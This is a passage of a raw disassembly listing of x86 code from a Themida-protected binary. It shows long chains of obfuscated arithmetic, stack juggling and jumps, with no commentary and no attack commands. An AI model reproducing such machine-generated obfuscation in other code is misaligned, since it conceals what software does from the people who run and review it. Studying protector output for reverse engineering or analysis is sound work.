edi push dword ptr [esp] pop edi jmp loc_5523CD ; --------------------------------------------------------------------------- loc_5571D5: ; CODE XREF: Themida_:005572AFj add edi, 94F5A614h and edx, edi jmp loc_55AB1D ; --------------------------------------------------------------------------- loc_5571E2: ; CODE XREF: Themida_:00555C83j sub ebp, edi pop edi add ebp, 196694Dh sub ebp, 2641BC7h add ebp, 0CE01D9F9h xor esi, ebp pop ebp add esi, 1A0F45F3h xor esi, 0BC73DCB0h add edx, esi jmp loc_55512D ; --------------------------------------------------------------------------- loc_55720D: ; CODE XREF: Themida_:0055A7C9j push ebx mov ebx, 2C760B65h shr ebx, 7 shl ebx, 4 push eax mov eax, 6528097Eh and ebx, eax pop eax add ebx, 0FAF7FEA4h add eax, ebx pop ebx push edx mov edx, 46EE5D50h push edi mov edi, 557E12B3h sub edx, edi pop edi jmp loc_554EBC ; --------------------------------------------------------------------------- mov ax, [esp] push esi push 1770h mov [esp], esp jmp loc_5539BA ; --------------------------------------------------------------------------- loc_557251: ; CODE XREF: Themida_:005526F9j add bp, 1D31h pop bx push dx jmp loc_553BA7 ; --------------------------------------------------------------------------- loc_55725F: ; CODE XREF: Themida_:00551AD8j push ebx mov bl, 0CDh add bl, 1 sub bl, 0E2h sub bl, 58h shr bl, 2 shl bl, 5 xor bl, 0A9h and dh, bl pop ebx sub dh, 0C7h neg dh xor dh, 3Bh push eax jmp loc_55D604 ; --------------------------------------------------------------------------- loc_557285: ; CODE XREF: Themida_:0055819Aj push eax mov eax, 3245319Dh push ebp push 7FE252EAh pop ebp xor eax, ebp pop ebp inc eax push 0 sub [esp], eax pop eax shr eax, 5 sub eax, 0FFFFFFFFh jmp loc_55335E ; --------------------------------------------------------------------------- loc_5572AC: ; CODE XREF: Themida_:0055A2F0j dec edi neg edi jmp loc_5571D5 ; --------------------------------------------------------------------------- loc_5572B4: ; CODE XREF: Themida_:00552629j mov ebp, [esp] add esp, 4 sub ebp, ecx pop ecx xor esi, ebp pop ebp sub [edi+24h], esi jmp loc_5540C3 ; --------------------------------------------------------------------------- loc_5572C8: ; CODE XREF: Themida_:00555202j mov eax, [esp] add esp, 4 add edx, 2 jmp loc_551B55 ; --------------------------------------------------------------------------- loc_5572D9: ; CODE XREF: Themida_:00556F8Cj add ebp, 4 jmp loc_55A9D7 ; --------------------------------------------------------------------------- loc_5572E4: ; CODE XREF: Themida_:0055D6A1j add ebp, edx jmp loc_5546AE ; --------------------------------------------------------------------------- loc_5572EB: ; CODE XREF: Themida_:00557378j push eax mov al, cl mov dl, al pop eax pop ecx add bh, dl pop edx add al, bh pop ebx add al, cl sub al, 7Eh mov cx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] jmp loc_55C259 ; --------------------------------------------------------------------------- loc_557317: ; CODE XREF: Themida_:00554BE7j push edi jmp loc_559F41 ; --------------------------------------------------------------------------- loc_55731D: ; CODE XREF: Themida_:00557887j sub esp, 4 mov [esp], edx mov edx, 3CBB7A15h sub eax, edx mov edx, [esp] add esp, 4 push ebp sub esp, 4 mov [esp], eax mov eax, 1D6F171Bh push edi mov edi, 0A3559h push edx mov edx, 14A49174h add edi, edx pop edx add eax, 1E4129B5h sub eax, edi jmp loc_55CE37 ; --------------------------------------------------------------------------- loc_55735A: ; CODE XREF: Themida_:00557CC6j mov ebx, 1304187Dh jmp loc_558B27 ; --------------------------------------------------------------------------- loc_557364: ; CODE XREF: Themida_:00557F59j mov bh, 70h not bh xchg dh, bh not dh xchg dh, bh sub bh, 0FFh shr bh, 7 push edx push ecx mov cl, 7Eh jmp loc_5572EB ; --------------------------------------------------------------------------- loc_55737D: ; CODE XREF: Themida_:00557845j dec ecx dec ecx xor ecx, 162D5FDBh sub esi, ecx mov ecx, [esp] add esp, 4 add esi, 41503954h add esi, eax push eax mov eax, 4A60425Ah jmp loc_55AD37 ; --------------------------------------------------------------------------- loc_5573A0: ; CODE XREF: Themida_:0055D4E7j mov ebx, 5D440667h jmp loc_557486 ; --------------------------------------------------------------------------- loc_5573AA: ; CODE XREF: Themida_:005558E2j push esi mov esi, 512E2C06h shr esi, 4 sub esi, 76BD592Fh xor esi, 136660E1h jmp loc_55C9FA ; --------------------------------------------------------------------------- loc_5573C4: ; CODE XREF: Themida_:005562D9j push esi mov esi, 17DA3070h add esi, 2D6DE768h sub edx, 8AC2EC5h sub edx, 6D183B8Eh sub edx, esi add edx, 6D183B8Eh jmp loc_557BEC ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5573F9: ; CODE XREF: Themida_:00557033j add esp, 4 mov edx, ecx pop ecx pop esi pop ebx loc_557404: ; CODE XREF: Themida_:00552516j ; Themida_:005589C5j push 1CA0h mov [esp], ecx jmp loc_55C6DF ; --------------------------------------------------------------------------- loc_557411: ; CODE XREF: Themida_:0055AF9Dj push ebx jmp loc_557E5D ; --------------------------------------------------------------------------- loc_557417: ; CODE XREF: Themida_:00556179j push dword ptr [esp] jmp loc_5535FA ; --------------------------------------------------------------------------- loc_55741F: ; CODE XREF: Themida_:00554465j push edx mov edx, esp push 1034h mov [esp], eax jmp loc_55BC97 ; --------------------------------------------------------------------------- loc_55742F: ; CODE XREF: Themida_:005569BEj sub edx, 6CD81F9Bh sub edx, edi jmp loc_5589D1 ; --------------------------------------------------------------------------- loc_55743C: ; CODE XREF: Themida_:005594F0j xchg ebp, [esp] mov esp, [esp] mov [esp], ebx push ebp mov ebp, 0C15144Eh jmp loc_55AE8D ; --------------------------------------------------------------------------- loc_557450: ; CODE XREF: Themida_:00556CB8j pop esi sub edi, 508C4A63h mov esi, edi pop edi or edx, esi pop esi or edx, 77221D24h xor edx, 6D0D1ABAh push edi mov edi, edx mov ebp, edi pop edi jmp loc_55252E ; --------------------------------------------------------------------------- loc_557474: ; CODE XREF: Themida_:0055BC6Fj push 6FB2h mov [esp], ebp push esp push dword ptr [esp] pop ebp jmp loc_5540E0 ; --------------------------------------------------------------------------- loc_557486: ; CODE XREF: Themida_:005573A5j push ebx push ebx mov ebx, 10C826CDh sub [esp+4], ebx pop ebx pop ebp add ebp, 10C826CDh push dword ptr [esp] pop ebx jmp loc_55AC5E ; --------------------------------------------------------------------------- loc_5574A2: ; CODE XREF: Themida_:005576BDj mov edx, [esp] add esp, 4 add bl, 29h push edx mov dh, 8Bh not dh jmp loc_552ECB ; --------------------------------------------------------------------------- loc_5574B5: ; CODE XREF: Themida_:00556779j xor eax, edi push esi sub esp, 4 mov [esp], edx mov edx, 4BF51B3Fh neg edx neg edx jmp loc_55CF6E ; --------------------------------------------------------------------------- loc_5574CF: ; CODE XREF: Themida_:00552784j add ebx, 4 xchg ebx, [esp] pop esp xor al, cl mov cx, [esp] push 24DDh mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] push 184Ch mov [esp], edx mov dl, 0CDh jmp loc_558F48 ; --------------------------------------------------------------------------- loc_557512: ; CODE XREF: Themida_:0055A98Dj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub ah, 90h jmp loc_55A6A6 ; --------------------------------------------------------------------------- loc_557529: ; CODE XREF: Themida_:0055927Bj pop ebp add esi, eax sub esi, 3EC64EF1h sub esi, 2D5E4A7Dh sub esp, 4 jmp loc_556D86 ; --------------------------------------------------------------------------- loc_557540: ; CODE XREF: Themida_:00559EF9j pop esi jmp loc_556E64 ; --------------------------------------------------------------------------- loc_557546: ; CODE XREF: Themida_:00553462j push esi mov esi, 7B8D2ADDh jmp loc_551E0B ; --------------------------------------------------------------------------- loc_557551: ; CODE XREF: Themida_:0055A24Ej xchg ebp, ebx add ebx, 69D13BA1h sub ebx, 3D7C14B6h sub eax, ebx pop ebx jmp loc_5546F3 ; --------------------------------------------------------------------------- loc_557567: ; CODE XREF: Themida_:0055958Ej sub edi, 44B0407Ch mov esi, edi pop edi add eax, esi pop esi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5571AE ; --------------------------------------------------------------------------- loc_557587: ; CODE XREF: Themida_:00555E2Aj shr ebp, 3 sub ebp, 92CE659Fh mov esi, ebp pop ebp push ebx mov ebx, 7A04694Ch push ecx mov ecx, 1BE91D53h or ebx, ecx jmp loc_5518C2 ; --------------------------------------------------------------------------- loc_5575A6: ; CODE XREF: Themida_:00559529j or ebp, 35903FA8h xor ebp, 35983FAEh add esi, ebp pop ebp push esi push dword ptr [esp+4] pop esi jmp loc_556E70 ; --------------------------------------------------------------------------- loc_5575C0: ; CODE XREF: Themida_:0055B731j add edx, 5DDA23E1h mov edi, [esp] push ebx jmp loc_556B7A ; --------------------------------------------------------------------------- loc_5575CF: ; CODE XREF: Themida_:005595EEj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 4 add [esp+4], eax pop eax mov edx, [esp] push ecx jmp loc_55BEC0 ; --------------------------------------------------------------------------- loc_5575F7: ; CODE XREF: Themida_:00555FA9j pop esi push 737Fh mov [esp], ebp push ecx mov ecx, 39883107h jmp loc_559864 ; --------------------------------------------------------------------------- loc_55760B: ; CODE XREF: Themida_:0055B57Ej push ecx mov ecx, 388A33EEh neg ecx jmp loc_559E01 ; --------------------------------------------------------------------------- loc_557618: ; CODE XREF: Themida_:005548ECj mov [esp], edx mov edx, esp add edx, 4 push eax push ebp mov ebp, 75C925D9h mov eax, ebp jmp loc_5582FD ; --------------------------------------------------------------------------- loc_557631: ; CODE XREF: Themida_:005587A4j mov eax, esp push edi jmp loc_55DD6B ; --------------------------------------------------------------------------- loc_557639: ; CODE XREF: Themida_:0055CC38j push ecx mov ecx, 89A7DDBh jmp loc_5535AB ; --------------------------------------------------------------------------- loc_557644: ; CODE XREF: Themida_:00557E49j push ebx push ecx mov ecx, 7B772387h mov ebx, 668C5C45h xor ebx, ecx jmp loc_55CE82 ; --------------------------------------------------------------------------- loc_557657: ; CODE XREF: Themida_:00553A7Aj push edx mov edx, 69482AAEh push edx sub dword ptr [esp], 58EF6C16h pop ecx jmp loc_556F65 ; --------------------------------------------------------------------------- loc_55766B: ; CODE XREF: Themida_:0055459Bj pop ecx jmp loc_55ADE0 ; --------------------------------------------------------------------------- loc_557671: ; CODE XREF: Themida_:00555DD9j push eax jmp loc_557EEA ; --------------------------------------------------------------------------- loc_557677: ; CODE XREF: Themida_:005537C3j push esp mov esi, [esp] add esp, 4 add esi, 4 push 49E7h mov [esp], eax jmp loc_556C08 ; --------------------------------------------------------------------------- loc_557694: ; CODE XREF: Themida_:00558034j neg esi add esi, 3C9F0C75h add ebx, esi mov esi, [esp] add esp, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_556225 ; --------------------------------------------------------------------------- loc_5576B5: ; CODE XREF: Themida_:005523B3j add bl, 0E3h sub bl, dl sub bl, 0E3h jmp loc_5574A2 ; --------------------------------------------------------------------------- loc_5576C2: ; CODE XREF: Themida_:0055383Cj push eax jmp loc_554AE3 ; --------------------------------------------------------------------------- loc_5576C8: ; CODE XREF: Themida_:005567C7j mov [esp], eax push ebx push edx mov edx, 6CC02A98h not edx xor edx, 56FD0231h jmp loc_55B184 ; --------------------------------------------------------------------------- loc_5576DF: ; CODE XREF: Themida_:0055283Bj add [esp+4], esi pop esi pop ebp add ebp, 4 jmp loc_551E45 ; --------------------------------------------------------------------------- loc_5576F0: ; CODE XREF: Themida_:0055B0DDj add ecx, 0D45534Ah add ecx, 26977663h jmp loc_5554DD ; --------------------------------------------------------------------------- loc_557701: ; CODE XREF: Themida_:005583C7j sub esi, 8056DF3Eh jmp loc_55B9D5 ; --------------------------------------------------------------------------- loc_55770C: ; CODE XREF: Themida_:005596C4j mov [esp], ecx push ebx mov bl, 52h mov ch, 0B5h jmp loc_5565A5 ; --------------------------------------------------------------------------- loc_557719: ; CODE XREF: Themida_:00554E61j add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_557724: ; CODE XREF: Themida_:00558C9Dj sub al, cl jmp loc_556F70 ; --------------------------------------------------------------------------- loc_55772B: ; CODE XREF: Themida_:0055BDE8j add esp, 4 push ebx jmp loc_551D98 ; --------------------------------------------------------------------------- loc_557737: ; CODE XREF: Themida_:00558255j xchg eax, [esp] jmp loc_557B72 ; --------------------------------------------------------------------------- loc_55773F: ; CODE XREF: Themida_:0055868Aj dec ebx dec ebx inc ebx jmp loc_55A571 ; --------------------------------------------------------------------------- loc_557747: ; CODE XREF: Themida_:00559817j pop ebp push edx jmp loc_55825A ; --------------------------------------------------------------------------- loc_55774E: ; CODE XREF: Themida_:00557FD7j xchg edi, edx pop edi inc edx sub esp, 4 mov [esp], ecx push 4A763C66h jmp loc_552930 ; --------------------------------------------------------------------------- loc_557765: ; CODE XREF: Themida_:00555492j mov edi, [esp] push 6DAEh mov [esp], edx jmp loc_55622D ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_55545A ; --------------------------------------------------------------------------- loc_557793: ; CODE XREF: Themida_:00556E93j push 2967h mov [esp], ecx mov ecx, 2 add edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ax, [esp] jmp loc_552F40 ; --------------------------------------------------------------------------- loc_5577B6: ; CODE XREF: Themida_:00559857j jmp loc_551815 ; --------------------------------------------------------------------------- loc_5577BB: ; CODE XREF: Themida_:005518F9j push ecx mov ecx, 66034DDBh add ecx, 5A970719h sub ecx, 47301B5h add ecx, 0F5F5BE6h xor ecx, 48AAC309h add esi, ecx pop ecx mov edx, esi jmp loc_553F09 ; --------------------------------------------------------------------------- loc_5577E3: ; CODE XREF: Themida_:00553746j add edi, 4 jmp loc_551D22 ; --------------------------------------------------------------------------- loc_5577EE: ; CODE XREF: Themida_:00556E5Fj jmp loc_551815 ; --------------------------------------------------------------------------- loc_5577F3: ; CODE XREF: Themida_:00556A8Ej add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx push esp pop ecx add ecx, 4 jmp loc_5525B8 ; --------------------------------------------------------------------------- loc_557814: ; CODE XREF: Themida_:0055C7EAj push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_559A5B ; --------------------------------------------------------------------------- loc_557823: ; CODE XREF: Themida_:00559E9Dj push ebp mov ebp, 291A26E1h mov esi, 788087B3h sub esi, ebp pop ebp dec esi jmp loc_553B5B ; --------------------------------------------------------------------------- loc_557837: ; CODE XREF: Themida_:005546EEj push small 0A0Ah mov [esp], cx jmp loc_551BB4 ; --------------------------------------------------------------------------- loc_557844: ; CODE XREF: Themida_:00556A67j inc ecx jmp loc_55737D ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edx push eax push esi mov esi, 0C1871A4h mov eax, 837BCB36h sub eax, esi pop esi jmp loc_55B38D ; --------------------------------------------------------------------------- loc_557862: ; CODE XREF: Themida_:0055B412j pop esi xor eax, 46B8040Ch add esi, eax jmp loc_55C4B5 ; --------------------------------------------------------------------------- loc_55786F: ; CODE XREF: Themida_:0055C54Aj add dh, ah pop eax or ch, dh jmp loc_55AA58 ; --------------------------------------------------------------------------- loc_557879: ; CODE XREF: Themida_:0055C6FEj pop edx jmp loc_555253 ; --------------------------------------------------------------------------- loc_55787F: ; CODE XREF: Themida_:0055524Ej sub eax, edx sub eax, 5C8055F8h pop edx jmp loc_55731D ; --------------------------------------------------------------------------- loc_55788C: ; CODE XREF: Themida_:00555CBCj mov cl, 0DCh dec cl shl cl, 7 neg cl not cl add cl, 35h jmp loc_555B87 ; --------------------------------------------------------------------------- loc_55789F: ; CODE XREF: Themida_:0055AA4Bj sub ebx, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_556CDB ; --------------------------------------------------------------------------- loc_5578AC: ; CODE XREF: Themida_:005558FFj xor esi, 7E8EE58Ah add eax, esi jmp loc_55835C ; --------------------------------------------------------------------------- loc_5578B9: ; CODE XREF: Themida_:005518C4j inc ebx and ebx, 519C228Bh jmp loc_55181F ; --------------------------------------------------------------------------- loc_5578C5: ; CODE XREF: Themida_:00551CA6j add eax, 75A24E8Ah jmp loc_55B9A2 ; --------------------------------------------------------------------------- loc_5578CF: ; CODE XREF: Themida_:00557C7Aj mov edx, 6D0B1FD7h xor edx, eax mov eax, [esp] add esp, 4 add ecx, edx pop edx add ecx, 2 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_559445 ; --------------------------------------------------------------------------- loc_5578FC: ; CODE XREF: Themida_:00553328j add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_55C703 ; --------------------------------------------------------------------------- loc_557910: ; CODE XREF: Themida_:00559AABj push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 and eax, ebx pop ebx or edx, eax shl edx, 1 sub esp, 4 jmp loc_551B44 ; --------------------------------------------------------------------------- loc_557931: ; CODE XREF: Themida_:005555B6j sub ebx, eax jmp loc_553878 ; --------------------------------------------------------------------------- loc_557938: ; CODE XREF: Themida_:0055AEF3j add eax, 441C6BF5h push ecx mov ecx, 6CC33938h jmp loc_5564B9 ; --------------------------------------------------------------------------- loc_557948: ; CODE XREF: Themida_:005525E5j add ebp, 5778391Fh pop ecx sub ebp, 0CDF31E5Bh sub esi, ebp mov ebp, [esp] add esp, 4 jmp loc_558E1C ; --------------------------------------------------------------------------- loc_557962: ; CODE XREF: Themida_:00558267j add edi, eax mov eax, [esp] add esp, 4 shr edi, 2 neg edi xor edi, 0EB62DB61h add eax, edi jmp loc_55229A ; --------------------------------------------------------------------------- loc_55797F: ; CODE XREF: Themida_:00558110j pop esp mov [esp], dx mov dl, 2Fh not dl dec dl push eax mov ah, 0BEh add ah, 19h dec ah xor ah, 79h or dl, ah pop eax and dl, 1Fh shl dl, 4 sub dl, 0E9h jmp loc_5541F8 ; --------------------------------------------------------------------------- loc_5579A6: ; CODE XREF: Themida_:0055B3F2j sub ebp, ecx jmp loc_5539A2 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5579B7: ; CODE XREF: Themida_:00556EBEj mov [esp], eax jmp loc_55675C ; --------------------------------------------------------------------------- loc_5579BF: ; CODE XREF: Themida_:00554DC9j add edx, 4 jmp loc_5549CD ; --------------------------------------------------------------------------- loc_5579C7: ; CODE XREF: Themida_:00559636j mov ah, 8Ch push ecx mov cl, 0F2h add cl, 84h jmp loc_552111 ; --------------------------------------------------------------------------- loc_5579D4: ; CODE XREF: Themida_:00558714j push edi mov edi, 7E623108h jmp loc_55CF17 ; --------------------------------------------------------------------------- loc_5579DF: ; CODE XREF: Themida_:005545E6j and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_556413 push 0E10h mov [esp], ebp push 0FEh pop ebp and [edi+1Ch], ebp jmp loc_556467 ; --------------------------------------------------------------------------- loc_557A09: ; CODE XREF: Themida_:00553B15j add esp, 4 add eax, 4 push edi mov edi, 2 jmp loc_554A5A ; --------------------------------------------------------------------------- loc_557A1C: ; CODE XREF: Themida_:005544F7j add edx, ebx mov eax, [edx] pop edx jmp loc_55D877 ; --------------------------------------------------------------------------- loc_557A26: ; CODE XREF: Themida_:00559E3Dj add [esp+4], eax pop eax pop ecx add ecx, 4 push edi push ecx mov ecx, 761B7782h push ecx add dword ptr [esp], 2012422Bh pop edi sub edi, 2012422Bh pop ecx sub edi, 761B7780h sub ecx, edi jmp loc_55D321 ; --------------------------------------------------------------------------- loc_557A56: ; CODE XREF: Themida_:0055D9CFj push ebx mov bx, 2A56h or bx, 7B91h add bx, 0A131h or bp, bx jmp loc_55AEB7 ; --------------------------------------------------------------------------- loc_557A6D: ; CODE XREF: Themida_:00551D0Dj push eax mov eax, 2BE832DAh jmp loc_55972D ; --------------------------------------------------------------------------- loc_557A78: ; CODE XREF: Themida_:00557171j sub al, ch pop ecx push 6D4Bh mov [esp], ebx push edx mov dh, 0B0h neg dh sub dh, 82h mov bh, dh pop edx shr bh, 4 jmp loc_558A28 ; --------------------------------------------------------------------------- loc_557A96: ; CODE XREF: Themida_:00556FE6j sub eax, 5575DF3Dh or ebp, eax pop eax add ebp, 361F08AAh add ebx, 1D2655Eh add ebx, ebp jmp loc_5544E2 ; --------------------------------------------------------------------------- loc_557AB1: ; CODE XREF: Themida_:00554218j pop ebx jmp loc_551815 ; --------------------------------------------------------------------------- loc_557AB7: ; CODE XREF: Themida_:0055AD63j pop edi push ecx jmp loc_555D10 ; --------------------------------------------------------------------------- loc_557ABE: ; CODE XREF: Themida_:00551ABFj add eax, 226850BEh sub eax, ebp sub eax, 226850BEh jmp loc_553C86 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp push 1D44h mov [esp], ebp push esp pop ebp push eax mov eax, 4 add ebp, eax jmp loc_556F8B ; --------------------------------------------------------------------------- loc_557B03: ; CODE XREF: Themida_:00554B06j mov cx, [esp] jmp loc_55817C ; --------------------------------------------------------------------------- loc_557B0C: ; CODE XREF: Themida_:00554348j push ebx mov ebx, esi mov [edi+20h], ebx pop ebx pop esi mov edx, [esp] add esp, 4 push 21E6h mov [esp], ebx push 18C1h mov [esp], eax mov eax, 7BE66A1Ch mov ebx, eax jmp loc_55A0D5 ; --------------------------------------------------------------------------- loc_557B39: ; CODE XREF: Themida_:00557D29j mov [esp], edx mov edx, 7E2F1467h not edx jmp loc_5528C1 ; --------------------------------------------------------------------------- loc_557B48: ; CODE XREF: Themida_:00554A9Bj movzx eax, al push dword ptr [edi+eax*4] push edx push ecx jmp loc_55AF60 ; --------------------------------------------------------------------------- loc_557B55: ; CODE XREF: Themida_:0055AD32j pop esi push ebx mov ebx, 73F36E80h xor ebx, 473C46F0h add ebx, 0CB30D794h add esi, ebx pop ebx push edi push ebx jmp loc_5599D0 ; --------------------------------------------------------------------------- loc_557B72: ; CODE XREF: Themida_:0055773Aj pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebp, 4 sub esp, 4 mov [esp], ebx push esi mov esi, 27E5AADh mov ebx, esi pop esi dec ebx jmp loc_559213 ; --------------------------------------------------------------------------- loc_557BAB: ; CODE XREF: Themida_:00551FDBj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add bl, 43h jmp loc_5537F2 ; --------------------------------------------------------------------------- loc_557BC3: ; CODE XREF: Themida_:0055ADCCj push edx mov edx, 3BA11F1Eh push edx sub dword ptr [esp], 2D777929h pop ecx add ecx, 2D777929h pop edx mov esi, 3BA11F20h sub esi, ecx pop ecx sub edi, esi pop esi xor edi, [esp] jmp loc_55DD0B ; --------------------------------------------------------------------------- loc_557BEC: ; CODE XREF: Themida_:005573E4j add edx, 8AC2EC5h pop esi add edx, eax add edx, 454817D8h pop eax xchg edx, [esp] mov esp, [esp] or [esp], al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_557C0B: ; CODE XREF: Themida_:00559720j add [esp+4], eax jmp loc_55D7DE ; --------------------------------------------------------------------------- loc_557C14: ; CODE XREF: Themida_:0055D12Ej push edx mov edx, esp jmp loc_55D094 ; --------------------------------------------------------------------------- loc_557C1C: ; CODE XREF: Themida_:0055815Cj mov edi, esp push ecx mov ecx, 63F454B8h xor ecx, 59F556A5h xor ecx, 66B248A7h shl ecx, 4 inc ecx jmp loc_556307 ; --------------------------------------------------------------------------- loc_557C39: ; CODE XREF: Themida_:00551A36j add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_5551A8 ; --------------------------------------------------------------------------- loc_557C50: ; CODE XREF: Themida_:00556D64j push bx jmp loc_555904 ; --------------------------------------------------------------------------- loc_557C57: ; CODE XREF: Themida_:00553B7Ej add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push esp jmp loc_559E34 ; --------------------------------------------------------------------------- loc_557C70: ; CODE XREF: Themida_:00557D48j add esp, 4 push edx push eax mov eax, 6D0B1FD3h jmp loc_5578CF ; --------------------------------------------------------------------------- loc_557C7F: ; CODE XREF: Themida_:0055ABB2j pop edi add edi, 4 push 3639h mov [esp], ecx mov ecx, 2 add edi, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] idiv cl movzx cx, ah push edi jmp loc_556E98 ; --------------------------------------------------------------------------- loc_557CC1: ; CODE XREF: Themida_:00555069j mov ecx, 0A5D175Eh jmp loc_55735A ; --------------------------------------------------------------------------- loc_557CCB: ; CODE XREF: Themida_:005525EBj add edi, 0E7F8C352h sub eax, 22C460BEh sub eax, edi add eax, 22C460BEh mov edi, [esp] push 5DCEh mov [esp], edi push esp pop edi add edi, 4 add edi, 4 jmp loc_552B99 ; --------------------------------------------------------------------------- loc_557CF8: ; CODE XREF: Themida_:005525D2j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push esp pop eax jmp loc_556788 ; --------------------------------------------------------------------------- loc_557D15: ; CODE XREF: Themida_:00558478j xor esi, 786247B2h mov ecx, esi pop esi jmp loc_558A95 ; --------------------------------------------------------------------------- loc_557D23: ; CODE XREF: Themida_:00554C02j pop ebx push 1B6Fh jmp loc_557B39 ; --------------------------------------------------------------------------- loc_557D2E: ; CODE XREF: Themida_:00553F3Cj mov [esp], ebp mov ebp, 2 add esi, ebp jmp loc_551E31 ; --------------------------------------------------------------------------- loc_557D3D: ; CODE XREF: Themida_:0055B82Aj push edx jmp loc_55D4FA ; --------------------------------------------------------------------------- loc_557D43: ; CODE XREF: Themida_:005555CBj push esp push dword ptr [esp] pop ecx jmp loc_557C70 ; --------------------------------------------------------------------------- loc_557D4D: ; CODE XREF: Themida_:0055ACDBj push esi mov esi, 4 add ebp, 5F546786h sub ebp, esi push edi mov edi, 5F546786h sub ebp, edi jmp loc_55B046 ; --------------------------------------------------------------------------- loc_557D68: ; CODE XREF: Themida_:00559FEFj pop eax jmp loc_55BBD5 ; --------------------------------------------------------------------------- loc_557D6E: ; CODE XREF: Themida_:00558AE1j pop edx sub edi, 3D2000DAh not edi neg edi xor edi, 7536C4D0h add [edx], edi pop edi mov edx, [esp] push eax mov eax, esp add eax, 4 jmp loc_5538CA ; --------------------------------------------------------------------------- loc_557D92: ; CODE XREF: Themida_:0055C2BBj add bh, 60h mov ch, 0DBh xor ch, bh pop ebx add al, ch pop ecx jmp loc_55C1E6 ; --------------------------------------------------------------------------- loc_557DA2: ; CODE XREF: Themida_:0055B1D9j add ebp, 4 jmp loc_554DA3 ; --------------------------------------------------------------------------- loc_557DAA: ; CODE XREF: Themida_:00556B46j sub esp, 4 mov [esp], ecx mov ecx, 0B242085Dh add edi, 5ECA3234h add edi, ecx sub edi, 5ECA3234h pop ecx push edi xor dword ptr [esp], 1AF23CC6h pop edx jmp loc_556650 ; --------------------------------------------------------------------------- loc_557DD2: ; CODE XREF: Themida_:0055B525j add al, bl push dx mov dh, 0ACh sub al, dh pop dx mov ebx, [esp] jmp loc_558A60 ; --------------------------------------------------------------------------- loc_557DE4: ; CODE XREF: Themida_:0055ACF7j xor [esp], eax xor eax, [esp] jmp loc_55600D ; --------------------------------------------------------------------------- loc_557DEF: ; CODE XREF: Themida_:00553804j mov edx, [esp] add esp, 4 push ecx jmp loc_559255 ; --------------------------------------------------------------------------- loc_557DFE: ; CODE XREF: Themida_:00556DA6j pop eax xor ch, 1Ch jmp loc_55B5FA ; --------------------------------------------------------------------------- loc_557E07: ; CODE XREF: Themida_:00558438j xor edi, [esp] pop esp jmp loc_552B27 ; --------------------------------------------------------------------------- loc_557E10: ; CODE XREF: Themida_:00556FB7j push ebx jmp loc_55AA92 ; --------------------------------------------------------------------------- loc_557E16: ; CODE XREF: Themida_:0055A774j pop edi add edx, ecx mov [edx], al pop edx pop ecx jmp loc_55B52A ; --------------------------------------------------------------------------- loc_557E22: ; CODE XREF: Themida_:0055CB3Dj pop edx add ebp, edx mov edx, [esp] jmp loc_55CCB4 ; --------------------------------------------------------------------------- loc_557E2D: ; CODE XREF: Themida_:00555611j mov [esp], eax mov eax, 259069A6h jmp loc_557E4E ; --------------------------------------------------------------------------- loc_557E3A: ; CODE XREF: Themida_:00554126j mov eax, [edx] push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_557644 ; --------------------------------------------------------------------------- loc_557E4E: ; CODE XREF: Themida_:00557E35j neg eax sub eax, 0DA6F9658h add ecx, eax pop eax jmp loc_55AB87 ; --------------------------------------------------------------------------- loc_557E5D: ; CODE XREF: Themida_:00557412j mov ebx, 4 add ebp, ebx pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push esi mov esi, esp push ebx jmp loc_55232B ; --------------------------------------------------------------------------- loc_557E7A: ; CODE XREF: Themida_:005541D4j pop edx xor esi, [esp] jmp loc_55C870 ; --------------------------------------------------------------------------- loc_557E83: ; CODE XREF: Themida_:0055C68Dj push dword ptr [esp] mov edx, [esp] add esp, 4 push 62BAh mov [esp], ebx mov ebx, esp jmp loc_55B038 ; --------------------------------------------------------------------------- loc_557E9E: ; CODE XREF: Themida_:005555A1j add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55D0F8 ; 